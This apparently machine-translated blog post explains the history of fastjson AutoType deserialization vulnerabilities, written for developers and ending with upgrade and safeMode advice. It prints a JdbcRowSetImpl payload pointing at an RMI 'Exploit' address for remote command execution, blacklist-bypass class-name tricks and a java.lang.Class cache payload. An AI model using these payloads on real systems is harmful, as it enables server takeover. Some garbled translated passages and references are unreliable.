Что именно fastjson делает неправильно? Почему часто возникают лазейки?

Java Fastjson

GitHub 15.8k Звездный путь Java-инженера к тому, чтобы стать богом, почему бы вам не прийти и не узнать об этом!

GitHub 15.8k Звездный путь Java-инженера к тому, чтобы стать богом, разве вы не хотите узнать об этом!

GitHub 15.8k Звездный путь Java-инженера к тому, чтобы стать богом, на самом деле не приходите, чтобы узнать об этом!

Все должны быть знакомы с fastjson, библиотекой синтаксического анализа JSON с открытым исходным кодом от Alibaba, которая обычно используется для преобразования между Java Beans и строками JSON.

Некоторое время назад в fastjson много раз обнаруживались лазейки, во многих статьях сообщалось об этом инциденте и предлагались предложения по обновлению.

Но меня как разработчика больше волнует, почему он так часто подвергается уязвимостям? Поэтому я с сомнениями взглянул на ReleaseNote fastjson и некоторый исходный код.

В конце концов выяснилось, что это на самом деле связано с функцией AutoType в fastjson.

Начиная с версии 1.2.59, выпущенной в июле 2019 г., и заканчивая версией 1.2.71, выпущенной в июне 2020 г., в каждом обновлении версии есть обновления для AutoType.

Ниже приведены несколько важных обновлений AutoType в официальных примечаниях к выпуску fastjson:

Выпущена версия 1.2.59, повышена безопасность при включенном автотипе fastjson

Выпущен 1.2.60, добавлен черный список AutoType, исправлены проблемы безопасности отказа в обслуживании fastjson

Выпущена версия 1.2.61 с добавлением в черный список безопасности AutoType fastjson

Выпущена версия 1.2.62 с добавлением черного списка AutoType, улучшенной десериализацией даты и JSONPath fastjson.

Выпущена версия 1.2.66, исправления ошибок и усиление безопасности, а также усиление безопасности, дополнен черный список AutoType fastjson

Выпущена версия 1.2.67, исправлены ошибки и усилена безопасность, дополнен черный список AutoType fastjson

Выпущена версия 1.2.68, поддерживающая GEOJSON и дополняющая черный список AutoType. (Введена конфигурация safeMode.После настройки safeMode автотип не поддерживается независимо от белого или черного списка.) фастджсон

Выпущена версия 1.2.69, исправлена ​​недавно обнаруженная уязвимость безопасности, связанная с обходом переключателя AutoType с высоким риском, и добавлен fastjson в черный список AutoType.

Выпуск 1.2.70, улучшенная совместимость, дополнение черного списка AutoType

Даже в библиотеке с открытым исходным кодом fastjson есть Issue, который рекомендует автору предоставить версию без autoType:

-w747

Итак, что такое автотайп? Почему fastjson представляет AutoType? Почему AutoType приводит к дырам в безопасности? В этой статье будет проведен подробный анализ.

Где священно AutoType?

Основная функция fastjson заключается в сериализации Java Bean-компонентов в строки JSON, чтобы строки можно было сохранять с помощью баз данных и других средств.

Однако fastjson не используется при сериализации и десериализации.Собственный механизм сериализации Java, а нестандартный механизм.

Фактически, для платформы JSON, если вы хотите преобразовать объект Java в строку, у вас есть два варианта:

  • 1, на основе атрибутов
  • 2. На основе сеттера/геттера

В нашей широко используемой среде сериализации JSON, когда FastJson и jackson сериализуют объекты в строки json, они обходят все методы получения в классе. Gson этого не делает, он проходит через рефлексию по всем свойствам в классе и сериализует их значения в json.

Предположим, у нас есть следующий класс Java:

class Store {
    private String name;
    private Fruit fruit;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public Fruit getFruit() {
        return fruit;
    }
    public void setFruit(Fruit fruit) {
        this.fruit = fruit;
    }
}

interface Fruit {
}

class Apple implements Fruit {
    private BigDecimal price;
    //省略 setter/getter、toString等
}

Когда мы захотим его сериализовать, fastjson просканирует в нем геттер-методы, то есть найдет getName и getFruit, а затем сериализует значения двух полей name и fruit в JSON-строку.

Итак, вопрос в том, что Fruit, который мы определили выше, — это просто интерфейс, может ли fastjson правильно сериализовать значение атрибута во время сериализации? Если да, то какой тип fastjson будет десериализовать этот фрукт при десериализации?

Попробуем проверить, исходя из (fastjson v 1.2.68):

Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);

Приведенный выше код относительно прост: мы создаем хранилище, указываем для него имя и создаем подтип Fruit, Apple, а затем используем хранилище для использованияJSON.toJSONStringSerialize, вы можете получить следующий контент JSON:

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}

Итак, что это за фрукт и можно ли его десериализовать в Apple? Давайте снова выполним следующий код:

Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);

Результат выполнения следующий:

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)

Видно, что после десериализации хранилища мы попытались преобразовать Fruit в Apple, но было выброшено исключение, попытка конвертировать напрямую во Fruit не выдаст ошибку, например:

Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);

Вышеупомянутое явление, как мы знаем,Когда класс содержит интерфейс (или абстрактный класс), при использовании fastjson для сериализации подтип будет стерт, а останется только тип интерфейса (абстрактный класс), чтобы его нельзя было получить при десериализации. .

Так какое же решение этой проблемы?Fastjson представляет AutoType, который записывает исходный тип во время сериализации.

Способ использования черезSerializerFeature.WriteClassNameотметка, т.е. в приведенном выше коде

String jsonString = JSON.toJSONString(store);

изменился на:

String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);

Затем, приведенный выше код, результат вывода выглядит следующим образом:

System.out.println("toJSONString : " + jsonString);

{
    "@type":"com.hollis.lab.fastjson.test.Store",
    "fruit":{
        "@type":"com.hollis.lab.fastjson.test.Apple",
        "price":0.5
    },
    "name":"Hollis"
}

можно увидеть,использоватьSerializerFeature.WriteClassNameПосле токенизации в строке JSON есть еще один@typeПоле, помечающее исходный тип, соответствующий классу, что удобно для нахождения конкретного типа при десериализации

Как и выше, путем десериализации сериализованной строки вы можете успешно получить тип Apple и вывести содержимое целиком:

toJSONString : {"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit=Apple{price=0.5}}
getFruit : Apple{price=0.5}

Это AutoType, и почему AutoType был представлен в fastjson.

Однако именно эта особенность, поскольку в начале проектирования функции соображения безопасности были недостаточно всеобъемлющими, а также приносила бесконечную боль последующим пользователям fastjson.

Что не так с автотипом?

Из-за функции autoType, когда fastjson десериализует строку JSON, она будет читать@typeДля содержимого попробуйте десериализовать содержимое JSON в этот объект и вызвать метод установки этого класса.

Затем вы можете использовать эту функцию для самостоятельного создания строки JSON и использовать@typeУкажите библиотеку атак, которую вы хотите использовать.

Например, наиболее часто используемая библиотека атак для хакеров:com.sun.rowset.JdbcRowSetImpl, которая представляет собой библиотеку классов, официально предоставленную солнцем. DataSourceName этого класса поддерживает передачу источника rmi. При анализе этого uri он будет поддерживать удаленный вызов rmi и вызывать метод по указанному адресу rmi.

А fastjson вызовет сеттер-метод целевого класса при десериализации, поэтому, если хакер задаст команду для выполнения в dataSourceName JdbcRowSetImpl, это приведет к серьезным последствиям.

Если строка JSON указана следующим образом, может быть реализовано удаленное выполнение команды (в более ранней версии JdbcRowSetImpl занесен в черный список, в новой версии)

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

Это так называемая уязвимость удаленного выполнения команд, которая заключается в использовании уязвимости для проникновения на целевой сервер и выполнения команд через сервер.

В более ранних версиях fastjson (до v1.2.25), поскольку AutoType был включен по умолчанию и не было никаких ограничений, можно сказать, что он голый.

Начиная с версии 1.2.25, fastjson по умолчанию отключил поддержку автотипа и добавил checkAutotype и черный список + белый список, чтобы предотвратить включение автотипа.

Однако именно с этого времени и началась игра между хакерами и авторами fastjson.

Поскольку fastjson по умолчанию отключает поддержку автотипа и выполняет проверку по черному и белому спискам, направление атаки становится «как обойти checkAutotype».

Рассмотрим подробнее уязвимости и принципы атаки в каждой версии fastjson.Из-за нехватки места здесь не будут объясняться особые детали.Если вам интересно, я могу написать отдельную статью, чтобы рассказать о деталях позже.. В следующем содержании в основном представлены некоторые идеи, цель которых состоит в том, чтобы объяснить важность уделения внимания безопасности при написании кода.

Обход проверки автотипа, хакеров и игры fastjson

До fastjson v1.2.41 в коде checkAutotype сначала фильтруется черный и белый список, если десериализуемого класса нет в черном и белом списке, то десериализуется целевой класс.

Однако в процессе загрузки у fastjson есть специальная обработка, то есть, когда класс загружается конкретно, то до и после className будут удалены.Lи;,В формеLcom.lang.Thread;.

-w853

Черный и белый список обнаруживается startWith, поэтому хакеру нужно только добавить библиотеку атаки до и после библиотеки атаки, которую он хочет использовать.Lи;Можно обойти проверку черного и белого списка, не задерживая нормальную загрузку fastjson.

какLcom.sun.rowset.JdbcRowSetImpl;, он сначала пройдет проверку белого списка, а затем fastjson удалит до и после загрузки классаLи,变成了com.sun.rowset.JdbcRowSetImpl`.

Чтобы избежать атаки, в более поздней версии v1.2.42 при выполнении обнаружения черного и белого списков fastjson сначала определяет, находится ли имя класса целевого класса до и после имени класса.Lи;, если да, то обрезать перед и задLи;Затем проверьте черный и белый список.

Вроде решает проблему, но после того, как хакер обнаружил это правило, он дважды прописал до и после целевого класса при атакеLLи;;, чтобы обнаружение можно было обойти после перехвата. какLLcom.sun.rowset.JdbcRowSetImpl;;

Всегда есть люди, которые лучше тебя. В версии 1.2.43, на этот раз fastjson добавил новую опцию перед суждением о черном и белом списках.LLБеспрецедентное суждение, если целевой класс начинается сLLВначале сразу выбрасывается исключение, поэтому эта уязвимость ненадолго устранена.

хакер вLи;Здесь он не может работать, поэтому я пытаюсь начать с других мест, потому что fastjson не только корректен при загрузке классовLи;К таким занятиям относятся особо, а также[также обрабатываются по-особому.

Тот же метод атаки, добавьте перед целевым классом[, опять падали все версии до v1.2.43.

Поэтому в версии v1.2.44 автор fastjson сделал более строгие требования, пока целевой класс начинается с[начинается с или начинается с;В конце сразу выбрасывается исключение. Он также устраняет ошибки, обнаруженные в версии 1.2.43 и предыдущих версиях.

В следующих версиях основным методом атаки хакеров является обход черного списка, и fastjson постоянно совершенствует собственный черный список.

Можно ли атаковать autoType, не включая его?

Но хорошие времена длились недолго, при обновлении до версии 1.2.47 хакеры снова нашли способ атаковать. И эта атака действует только при отключенном автотипе.

Не странно ли, что если автотайп не включен, то он будет атакован.

Поскольку ** в fastjson есть глобальный кеш, при загрузке класса, если автотип не включен, он сначала попытается получить класс из кеша, а если он есть в кеше, он вернется напрямую. **Хакеры используют этот механизм для атаки.

Хакеры сначала находят способ добавить класс в кеш, а затем снова запускают его, чтобы обойти обнаружение черного и белого списка, какой хитрый метод.

Прежде всего, если вы хотите добавить в кеш класс из черного списка, вам нужно использовать класс, которого нет в черном списке.java.lang.Class

java.lang.ClassДесериализатор, соответствующий классу, — MiscCodec.При десериализации берется значение val в строке json и загружается класс, соответствующий val.

Если кеш fastjson равен true, класс, соответствующий этому значению, будет кэширован в глобальном кеше.

Если класс с именем val загружается снова, а автотипирование не включено, следующим шагом будет попытка получить класс из глобального кеша, а затем атака.

Поэтому хакеру нужно только замаскировать класс атаки следующим образом, в следующем формате:

{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}

Так вот в v1.2.48 fastjson исправил эту ошибку, в MiscCodec, где обрабатывается класс Class, fastjson cache установлен в false, так что класс атаки не будет кешироваться и не будет получен.

В последующих версиях хакеры и fastjson продолжали заниматься обходом черного списка и добавлением черного списка.

Только позже хакеры обнаружили новый метод эксплойта в версиях до v1.2.68.

Атака с исключением

В fastjson, если класс, указанный @type, является подклассом Throwable, тогда соответствующий класс обработки десериализации будет использовать ThrowableDeserializer

В методе ThrowableDeserializer#deserialze, когда ключом поля также является @type, значение будет использоваться как имя класса, а затем будет выполнен тест checkAutoType.

и указал expectClass как Throwable.class, ноВ checkAutoType есть такое соглашение, что если указан expectClass, то он тоже пройдет проверку.

-w869

Потому что fastjson попытается выполнить метод геттера внутри при десериализации, а в классе Exception есть метод getMessage.

Хакеру нужно только настроить исключение и переписать его getMessage для достижения цели атаки.

Эта уязвимость является «серьезной уязвимостью», которая стала вирусной в Интернете в июне, вынудив многих разработчиков перейти на новую версию.

Эта уязвимость была исправлена ​​в версии 1.2.69.Основной метод исправления заключается в изменении ожидаемого класса, который необходимо отфильтровать, добавлении 4 новых классов и изменении оценки исходного типа класса на оценку хэша.

На самом деле, согласно официальной документации fastjson, даже если не обновляться до новой версии, можно избежать этой проблемы в v1.2.68, то есть использовать safeMode

Безопасный режим автотипа?

Видно, что эксплуатация этих уязвимостей почти полностью связана с AutoType, поэтому в версии v1.2.68 вводится safeMode, после настройки safeMode автотип не поддерживается независимо от белого или черного списка, что можно в определенной степени облегчить , Вариант атаки класса Deserialization Gadgets.

После установки safeMode поле @type больше не действует, то есть при разборе строки JSON вида {"@type": "com.java.class"} соответствующий класс больше не будет десериализоваться.

Способ включения безопасного режима следующий:

ParserConfig.getGlobalInstance().setSafeMode(true);

Например, в примере кода в начале этой статьи используйте приведенный выше код для включения режима безопасного режима и выполнения кода, вы получите следующее исключение:

Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)

Но стоит отметить, что используя эту функцию, fastjson будет напрямую отключать функцию autoType, то есть в методе checkAutoType сразу выбрасывается исключение.

-w821

позже

В настоящее время fastjson выпущен в версии v1.2.72, а известные проблемы в исторической версии были исправлены в новой версии.

Разработчики могут обновить fastjson, используемый в своих проектах, до последней версии, а если AutoType в коде не нужен, они могут рассмотреть возможность использования safeMode, но они должны оценить влияние на исторический код.

так какfastjson определяет свой собственный класс инструментов сериализации и использует технологию asm, чтобы избежать отражения, использовать кэширование и оптимизировать алгоритмы, что значительно повышает эффективность сериализации и десериализации.

Некоторые пользователи сети сравнивали это раньше:

-w808

Конечно,Высокая скорость также приносит некоторые проблемы с безопасностью, что бесспорно.

Наконец, я действительно хочу сказать несколько слов.Хотя fastjson является открытым исходным кодом Alibaba, насколько мне известно, большую часть времени этот проект поддерживается его автором Шао Вэнем в свободное время.

Пользователь сети на Zhihu сказал: "Вэнь Шао создал широко используемую библиотеку JSON почти в одиночку, в то время как другие библиотеки полагаются почти на целую команду.Основываясь на этом, Вэнь Шао заслуженно считается «первым поколением людей с открытым исходным кодом в Али, которые никогда не изменяли своим первоначальным намерениям». .""

На самом деле, многие люди в Alibaba критиковали проблему уязвимости fastjson, но после критики все дали больше.пониматьитерпеть.

Fastjson в настоящее время является одной из самых известных отечественных библиотек.Можно сказать, что она привлекла большое внимание, поэтому постепенно стала центром исследований в области безопасности, поэтому будут обнаружены некоторые глубокие уязвимости. Как сказал сам Вэнь Шао:

«По сравнению с поиском уязвимостей, еще хуже то, что существуют уязвимости, которые, как известно, не используются. Своевременное обнаружение уязвимостей и обновление для исправления — это проявление возможностей безопасности».

Когда я писал эту статью, я задал Шао Вену вопрос на DingTalk, и он ответил за считанные секунды, что меня удивило. Поскольку этот день выходной, Диндин может вернуться в выходные в считанные секунды, что это значит?

Вероятно, он использует свое свободное время для поддержки fastjson...

Наконец, узнав причины многих уязвимостей в истории fastjson, фактически для себя, я «смею использовать» fastjson...

Слава fastjson! Привет исследователям безопасности! Приветствую Вэнь Шао!

Приветствую всех, кто обратил внимание на мой публичный аккаунт, и я буду регулярно продвигать этот вид галантерейных товаров! Вы даже не можете найти его в Baidu или Google! !

Использованная литература:

GitHub.com/alibaba/happening…

GitHub.com/alibaba/happening…

paper.seebug.org/1192/

Tickets.WeChat.QQ.com/Yes/ex NX CY5no…

Уууу.. Внутри написано space.com/2019/06/29/…